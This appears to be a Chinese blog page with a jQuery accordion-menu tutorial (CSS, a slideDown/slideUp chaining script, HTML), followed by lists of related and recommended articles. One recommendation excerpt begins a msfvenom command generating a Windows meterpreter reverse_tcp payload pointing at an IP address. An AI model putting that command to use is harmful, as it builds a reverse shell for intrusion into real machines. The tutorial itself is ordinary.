jQuery---手风琴案例
手风琴案例
<!DOCTYPE html>
<html> <head lang="en">
<meta charset="UTF-8">
<title></title>
<style type="text/css">
* {
padding: 0;
margin: 0;
} ul {
list-style-type: none;
} .parentWrap {
width: 200px;
text-align: center; } .menuGroup {
border: 1px solid #999;
background-color: #e0ecff;
} .groupTitle {
display: block;
height: 20px;
line-height: 20px;
font-size: 16px;
border-bottom: 1px solid #ccc;
cursor: pointer;
} .menuGroup>div {
height: 200px;
background-color: #fff;
display: none;
}
</style> <script src="jquery-1.12.4.js"></script>
<script> $(function () {
//思路分析：给所有的span注册点击事件，让当前span的兄弟div显示出来
$(".groupTitle").click(function () {
//链式编程：在jQuery里面，方法可以一直调用下去。
$(this).next().slideDown(500).parent().siblings().children("div").slideUp(500);
});
})
</script>
</head> <body>
<ul class="parentWrap">
<li class="menuGroup">
<span class="groupTitle">标题1</span>
<div>我是弹出来的div1</div>
</li>
<li class="menuGroup">
<span class="groupTitle">标题2</span>
<div>我是弹出来的div2</div>
</li>
<li class="menuGroup">
<span class="groupTitle">标题3</span>
<div>我是弹出来的div3</div>
</li>
<li class="menuGroup">
<span class="groupTitle">标题4</span>
<div>我是弹出来的div4</div>
</li>
</ul>
</body> </html>
jQuery---手风琴案例的更多相关文章
- bootstrap-简洁实用的jQuery手风琴插件
前端 <html lang="zh"> <head> <meta charset="UTF-8"> <meta htt ...
- 一款点击图片进行无限循环的jquery手风琴特效
一款点击图片进行无限循环的jquery手风琴特效,点击手风琴折合点,可以无限循环的点击下去,很炫酷的手风琴哟! 还有每张图片的文字介绍,因为兼容IE6所以找来分享给大家这个jquery特效. 适用浏览 ...
- jQuery手风琴广告展示插件
效果说明:当鼠标移动到已折叠广告的标题后,折叠当前已展开的广告,并同步展开相应的折叠广告.这种Accordion效果,看似简单,但因为存在动画同步的问题,不能简单地用两个animate()来实现.必须 ...
- jQuery手风琴菜单！！！！
jQuery手风琴菜单 第一次发博客也不知道说点什么好,以前敲得一个手风琴菜单刚刚整理出来了,就来分享个大家 手风琴的排版 排版完事了,接下来就写样式吧,把自己喜欢的颜色或者是图片添加进来,就会变成你 ...
- jQuery手风琴制作
jQuery手风琴制作 说起手风琴,想必大家应该都知道吧,简单的来说就是可以来回收缩的这么一个东西,接下来,我就给大家演示一下用jQuery制作一个手风琴菜单! 写jQuery前,我们需要引用一个jQ ...
- 中国省市区地址三级联动jQuery插件 案例下载
中国省市区地址三级联动jQuery插件 案例下载 distpicker 是一款可以实现中国省市区地址三级联动jQuery插件.它使用简单,简单设置即可完成中国省市区地址联动效果. 安装 可以通过npm ...
- jQuery手风琴的制作！！
jQuery手风琴的制作 首先我们先来做一个简单的jQuery的效果图 效果图 如下: css代码 如下: <style type="text/css" media=&quo ...
- jQuery常见案例
jQuery常见案例 通过jQuery实现全选,反选取消: 选择 地址 端口 1.1.1.1 80 1.1.1.1 80 1.1.1.1 80 1.1.1.1 80 代码实现 <body> ...
- Jquery 分页案例
Jquery 分页案例 <!DOCTYPE html> <html> <head> <meta charset="utf-8" /& ...
- jQuery实际案例③——手风琴的效果
如图,用最简单的方式实现手风琴的效果,核心,就是通过改变自身即鼠标移上去的那张图的width,与其他的width就可,但是需要用animate,先改变自己的width,再改变其他的.
随机推荐
- msf制作反弹shell
msf制作shell 1 .制作反弹shell-exe文件 执行命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LP ...
- Yet Another Broken Keyboard[双指针]
题目大意: 求贡献,已知公式n*(n+1)/2,求总和 收获: long long的转换技巧只能在乘或除上进行 题目链接 #include<bits/stdc++.h> typedef l ...
- mybatis 通过配置父类数据源连接和关闭数据，进行junit单元测试
来源:https://blog.csdn.net/Bigbig_lyx/article/details/80646005 解决问题,单元测试没经过单独配置,每个测试方法中要添加配置数据源 一:配置父类 ...
- 分形的奥秘！分形着色器！shader 编程入门实战 ！ Cocos Creator！
极致的数学之美! 什么是分形? "一个粗糙或零碎的几何形状,可以分成数个部分,且每一部分都(至少近似地)是整体缩小后的形状" 简单来说,分形(fractal)就像这个doge表情包 ...
- 【转载】structlog4j介绍
源文章:structlog4j介绍 结构化日志对于日志的收集的作用挺大的,根据自身的业务场景,基于SLF4J实现了structlog4j. 相关引用 Gradle // 基础包 compile 'te ...
- MySql学习-5.查询2
1.聚合: 1.1 5个聚合函数: count(*):括号中写列名,或者 *: max(列):此列的最大值: min(列):此列的最小值: sum(列):此列的和: avg(列):此列的平均值: 1. ...
- 关于hp proliant sl210t服务器raid 1阵列配置（HP P420/Smart Array P420阵列卡配置）
hp proliant sl210t服务器,一般都会带有两个阵列卡 一个服务器自带的Dynamic Smart Array B120i RAID控制器,一个为Slot卡槽上的Smart Array P ...
- P5840 [COCI2015]Divljak
// powered by c++11 // by Isaunoya #include <bits/stdc++.h> #define rep(i, x, y) for (register ...
- Unity比较常用的数据类型
几种常见数据结构的使用情景 Array需要处理的元素数量确定并且需要使用下标时可以考虑,不过建议使用List<T> ArrayList不推荐使用,建议用List<T> List ...
- java面试必问问题总结
1. 自我介绍 2. get跟load的区别 3. 什么是重载,什么是重写 4. HashTable跟HashMap的区别 5. Jsp九大隐式对象 6. Forword和redirect 的区别 7 ...